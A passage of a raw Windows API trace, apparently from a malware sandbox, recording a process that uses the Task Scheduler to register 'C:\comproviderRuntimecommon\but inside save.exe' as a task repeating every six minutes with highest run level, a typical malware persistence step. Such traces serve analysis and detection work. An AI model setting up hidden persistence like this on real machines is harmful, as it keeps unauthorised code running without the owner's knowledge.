(dwErrCode=0x490) [0158.376] lstrlenW (lpString="tn") returned 2 [0158.376] lstrlenW (lpString="tn") returned 2 [0158.376] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.376] lstrlenW (lpString="f") returned 1 [0158.376] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.376] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tn|") returned 4 [0158.376] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.376] lstrlenW (lpString="|tn|") returned 4 [0158.376] lstrlenW (lpString="|f|") returned 3 [0158.376] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0158.376] SetLastError (dwErrCode=0x490) [0158.376] lstrlenW (lpString="tr") returned 2 [0158.376] lstrlenW (lpString="tr") returned 2 [0158.376] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.376] lstrlenW (lpString="f") returned 1 [0158.377] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.377] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|tr|") returned 4 [0158.377] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.377] lstrlenW (lpString="|tr|") returned 4 [0158.377] lstrlenW (lpString="|f|") returned 3 [0158.377] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0158.377] SetLastError (dwErrCode=0x490) [0158.377] lstrlenW (lpString="st") returned 2 [0158.377] lstrlenW (lpString="st") returned 2 [0158.377] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.377] lstrlenW (lpString="f") returned 1 [0158.377] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.377] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|st|") returned 4 [0158.377] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.377] lstrlenW (lpString="|st|") returned 4 [0158.377] lstrlenW (lpString="|f|") returned 3 [0158.377] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0158.377] SetLastError (dwErrCode=0x490) [0158.377] lstrlenW (lpString="sd") returned 2 [0158.377] lstrlenW (lpString="sd") returned 2 [0158.377] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.377] lstrlenW (lpString="f") returned 1 [0158.377] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.377] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|sd|") returned 4 [0158.377] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.377] lstrlenW (lpString="|sd|") returned 4 [0158.377] lstrlenW (lpString="|f|") returned 3 [0158.377] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0158.377] SetLastError (dwErrCode=0x490) [0158.377] lstrlenW (lpString="ed") returned 2 [0158.377] lstrlenW (lpString="ed") returned 2 [0158.378] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.378] lstrlenW (lpString="f") returned 1 [0158.378] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.378] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|ed|") returned 4 [0158.378] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.378] lstrlenW (lpString="|ed|") returned 4 [0158.378] lstrlenW (lpString="|f|") returned 3 [0158.378] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0158.378] SetLastError (dwErrCode=0x490) [0158.378] lstrlenW (lpString="it") returned 2 [0158.378] lstrlenW (lpString="it") returned 2 [0158.378] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.378] lstrlenW (lpString="f") returned 1 [0158.378] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.378] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|it|") returned 4 [0158.378] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.378] lstrlenW (lpString="|it|") returned 4 [0158.378] lstrlenW (lpString="|f|") returned 3 [0158.378] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0158.378] SetLastError (dwErrCode=0x490) [0158.378] lstrlenW (lpString="et") returned 2 [0158.378] lstrlenW (lpString="et") returned 2 [0158.378] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.378] lstrlenW (lpString="f") returned 1 [0158.378] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.378] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|et|") returned 4 [0158.378] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.378] lstrlenW (lpString="|et|") returned 4 [0158.378] lstrlenW (lpString="|f|") returned 3 [0158.378] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0158.379] SetLastError (dwErrCode=0x490) [0158.379] lstrlenW (lpString="k") returned 1 [0158.379] lstrlenW (lpString="k") returned 1 [0158.379] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.379] lstrlenW (lpString="f") returned 1 [0158.379] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.379] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|k|") returned 3 [0158.379] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.379] lstrlenW (lpString="|k|") returned 3 [0158.379] lstrlenW (lpString="|f|") returned 3 [0158.379] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0158.379] SetLastError (dwErrCode=0x490) [0158.622] lstrlenW (lpString="du") returned 2 [0158.622] lstrlenW (lpString="du") returned 2 [0158.622] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.622] lstrlenW (lpString="f") returned 1 [0158.622] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.622] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|du|") returned 4 [0158.622] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.622] lstrlenW (lpString="|du|") returned 4 [0158.622] lstrlenW (lpString="|f|") returned 3 [0158.622] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0158.622] SetLastError (dwErrCode=0x490) [0158.622] lstrlenW (lpString="ri") returned 2 [0158.622] lstrlenW (lpString="ri") returned 2 [0158.622] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.622] lstrlenW (lpString="f") returned 1 [0158.622] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.622] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|ri|") returned 4 [0158.622] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.622] lstrlenW (lpString="|ri|") returned 4 [0158.622] lstrlenW (lpString="|f|") returned 3 [0158.622] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0158.622] SetLastError (dwErrCode=0x490) [0158.622] lstrlenW (lpString="z") returned 1 [0158.622] lstrlenW (lpString="z") returned 1 [0158.623] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.623] lstrlenW (lpString="f") returned 1 [0158.623] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.623] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|z|") returned 3 [0158.623] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.623] lstrlenW (lpString="|z|") returned 3 [0158.623] lstrlenW (lpString="|f|") returned 3 [0158.623] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0158.623] SetLastError (dwErrCode=0x490) [0158.623] lstrlenW (lpString="f") returned 1 [0158.623] lstrlenW (lpString="f") returned 1 [0158.623] _memicmp (_Buf1=0x2fc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.623] lstrlenW (lpString="f") returned 1 [0158.623] _memicmp (_Buf1=0x2fc220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.623] _vsnwprintf (in: _Buffer=0x2fc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.623] _vsnwprintf (in: _Buffer=0x2fc240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc7a8 | out: _Buffer="|f|") returned 3 [0158.623] lstrlenW (lpString="|f|") returned 3 [0158.623] lstrlenW (lpString="|f|") returned 3 [0158.623] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0158.623] SetLastError (dwErrCode=0x0) [0158.623] SetLastError (dwErrCode=0x0) [0158.623] GetProcessHeap () returned 0x2e0000 [0158.623] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcdc0 [0158.623] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.623] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0158.623] lstrlenW (lpString="LIMITED") returned 7 [0158.623] GetProcessHeap () returned 0x2e0000 [0158.623] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x10) returned 0x2fd560 [0158.623] GetThreadLocale () returned 0x409 [0158.623] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0158.623] GetProcessHeap () returned 0x2e0000 [0158.623] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcd90 [0158.623] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.623] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0158.624] lstrlenW (lpString="HIGHEST") returned 7 [0158.624] GetProcessHeap () returned 0x2e0000 [0158.624] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x10) returned 0x2fd580 [0158.624] GetThreadLocale () returned 0x409 [0158.624] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0158.624] GetProcessHeap () returned 0x2e0000 [0158.624] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcd60 [0158.624] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.624] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0158.624] lstrlenW (lpString="MINUTE") returned 6 [0158.624] GetProcessHeap () returned 0x2e0000 [0158.624] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xe) returned 0x2fd5a0 [0158.624] GetThreadLocale () returned 0x409 [0158.624] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0158.624] SetLastError (dwErrCode=0x0) [0158.624] GetProcessHeap () returned 0x2e0000 [0158.624] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x1fc) returned 0x2fc400 [0158.624] GetProcessHeap () returned 0x2e0000 [0158.624] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcd30 [0158.624] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.624] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0158.624] lstrlenW (lpString="First") returned 5 [0158.624] GetProcessHeap () returned 0x2e0000 [0158.624] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xc) returned 0x2fd5c0 [0158.624] GetProcessHeap () returned 0x2e0000 [0158.624] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcd00 [0158.624] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.624] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0158.624] lstrlenW (lpString="Second") returned 6 [0158.625] GetProcessHeap () returned 0x2e0000 [0158.625] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xe) returned 0x2fd5e0 [0158.625] GetProcessHeap () returned 0x2e0000 [0158.625] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fccd0 [0158.625] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.625] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0158.625] lstrlenW (lpString="Third") returned 5 [0158.625] GetProcessHeap () returned 0x2e0000 [0158.625] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xc) returned 0x2fd600 [0158.625] GetProcessHeap () returned 0x2e0000 [0158.625] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x20) returned 0x2fcca0 [0158.625] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.625] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0158.625] lstrlenW (lpString="Fourth") returned 6 [0158.625] GetProcessHeap () returned 0x2e0000 [0158.625] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xe) returned 0x2fd620 [0158.625] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.625] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0158.625] lstrlenW (lpString="Last") returned 4 [0158.625] GetProcessHeap () returned 0x2e0000 [0158.625] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xa) returned 0x2fd640 [0158.625] lstrlenW (lpString="6") returned 1 [0158.625] _wtol (_String="6") returned 6 [0158.625] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.625] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0158.625] lstrlenW (lpString="First") returned 5 [0158.625] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.625] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0158.625] lstrlenW (lpString="Second") returned 6 [0158.625] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.625] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0158.625] lstrlenW (lpString="Third") returned 5 [0158.625] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.626] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0158.626] lstrlenW (lpString="Fourth") returned 6 [0158.626] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.626] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0158.626] lstrlenW (lpString="Last") returned 4 [0158.626] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1dc620, cchData=128 | out: lpLCData="0") returned 2 [0158.626] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.626] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0158.626] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0158.626] GetProcessHeap () returned 0x2e0000 [0158.626] GetProcessHeap () returned 0x2e0000 [0158.626] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd5c0) returned 1 [0158.626] GetProcessHeap () returned 0x2e0000 [0158.626] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd5c0) returned 0xc [0158.626] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd5c0 | out: hHeap=0x2e0000) returned 1 [0158.626] GetProcessHeap () returned 0x2e0000 [0158.626] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x16) returned 0x2fd5c0 [0158.626] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1dc640, cchData=128 | out: lpLCData="0") returned 2 [0158.626] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0158.626] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0158.626] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0158.626] GetProcessHeap () returned 0x2e0000 [0158.626] GetProcessHeap () returned 0x2e0000 [0158.626] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd5e0) returned 1 [0158.626] GetProcessHeap () returned 0x2e0000 [0158.626] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd5e0) returned 0xe [0158.626] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd5e0 | out: hHeap=0x2e0000) returned 1 [0158.626] GetProcessHeap () returned 0x2e0000 [0158.626] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x16) returned 0x2fd5e0 [0158.626] GetLocalTime (in: lpSystemTime=0x1dc870 | out: lpSystemTime=0x1dc870*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x11, wMilliseconds=0x35c)) [0158.627] lstrlenW (lpString="") returned 0 [0158.627] GetLocalTime (in: lpSystemTime=0x1dd128 | out: lpSystemTime=0x1dd128*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x11, wMilliseconds=0x35c)) [0158.627] lstrlenW (lpString="") returned 0 [0158.627] lstrlenW (lpString="") returned 0 [0158.627] lstrlenW (lpString="") returned 0 [0158.627] lstrlenW (lpString="") returned 0 [0158.627] lstrlenW (lpString="6") returned 1 [0158.627] _wtol (_String="6") returned 6 [0158.627] lstrlenW (lpString="") returned 0 [0158.627] lstrlenW (lpString="") returned 0 [0158.627] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0158.745] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0158.900] CoCreateInstance (in: rclsid=0xffbf1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffbf1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1dcef0 | out: ppv=0x1dcef0*=0x147ae0) returned 0x0 [0158.933] TaskScheduler:ITaskService:Connect (This=0x147ae0, serverName=0x1dcfd0*(varType=0x8, wReserved1=0x1d, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1dcf90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x1dcfb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1dcf70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0159.003] TaskScheduler:IUnknown:AddRef (This=0x147ae0) returned 0x2 [0159.003] TaskScheduler:ITaskService:GetFolder (in: This=0x147ae0, Path=0x0, ppFolder=0x1dd088 | out: ppFolder=0x1dd088*=0x147d10) returned 0x0 [0159.008] TaskScheduler:ITaskService:NewTask (in: This=0x147ae0, flags=0x0, ppDefinition=0x1dd080 | out: ppDefinition=0x1dd080*=0x147d60) returned 0x0 [0159.008] ITaskDefinition:get_Actions (in: This=0x147d60, ppActions=0x1dd000 | out: ppActions=0x1dd000*=0x147e20) returned 0x0 [0159.009] IActionCollection:Create (in: This=0x147e20, Type=0, ppAction=0x1dd020 | out: ppAction=0x1dd020*=0x1465f0) returned 0x0 [0159.009] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0159.009] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0159.009] lstrlenW (lpString=" ") returned 1 [0159.009] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0159.009] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0159.010] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0159.010] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0159.010] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0159.011] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0159.011] IUnknown:Release (This=0x1465f0) returned 0x1 [0159.011] IUnknown:Release (This=0x147e20) returned 0x1 [0159.011] ITaskDefinition:get_Triggers (in: This=0x147d60, ppTriggers=0x1dcb80 | out: ppTriggers=0x1dcb80*=0x147f60) returned 0x0 [0159.011] ITriggerCollection:Create (in: This=0x147f60, Type=1, ppTrigger=0x1dcb78 | out: ppTrigger=0x1dcb78*=0x146660) returned 0x0 [0159.011] lstrlenW (lpString="6") returned 1 [0159.011] _vsnwprintf (in: _Buffer=0x1dcb00, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x1dcaf8 | out: _Buffer="PT6M") returned 4 [0159.011] ITrigger:get_Repetition (in: This=0x146660, ppRepeat=0x1dcb70 | out: ppRepeat=0x1dcb70*=0x1466f0) returned 0x0 [0159.012] IRepetitionPattern:put_Interval (This=0x1466f0, Interval="PT6M") returned 0x0 [0159.012] IUnknown:Release (This=0x1466f0) returned 0x1 [0159.012] _vsnwprintf (in: _Buffer=0x1dcac0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1dca98 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0159.012] ITrigger:put_StartBoundary (This=0x146660, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0159.012] lstrlenW (lpString="") returned 0 [0159.012] lstrlenW (lpString="") returned 0 [0159.012] lstrlenW (lpString="") returned 0 [0159.012] lstrlenW (lpString="") returned 0 [0159.012] IUnknown:Release (This=0x146660) returned 0x1 [0159.012] IUnknown:Release (This=0x147f60) returned 0x1 [0159.012] ITaskDefinition:get_Settings (in: This=0x147d60, ppSettings=0x1dd020 | out: ppSettings=0x1dd020*=0x1463d0) returned 0x0 [0159.013] lstrlenW (lpString="") returned 0 [0159.013] 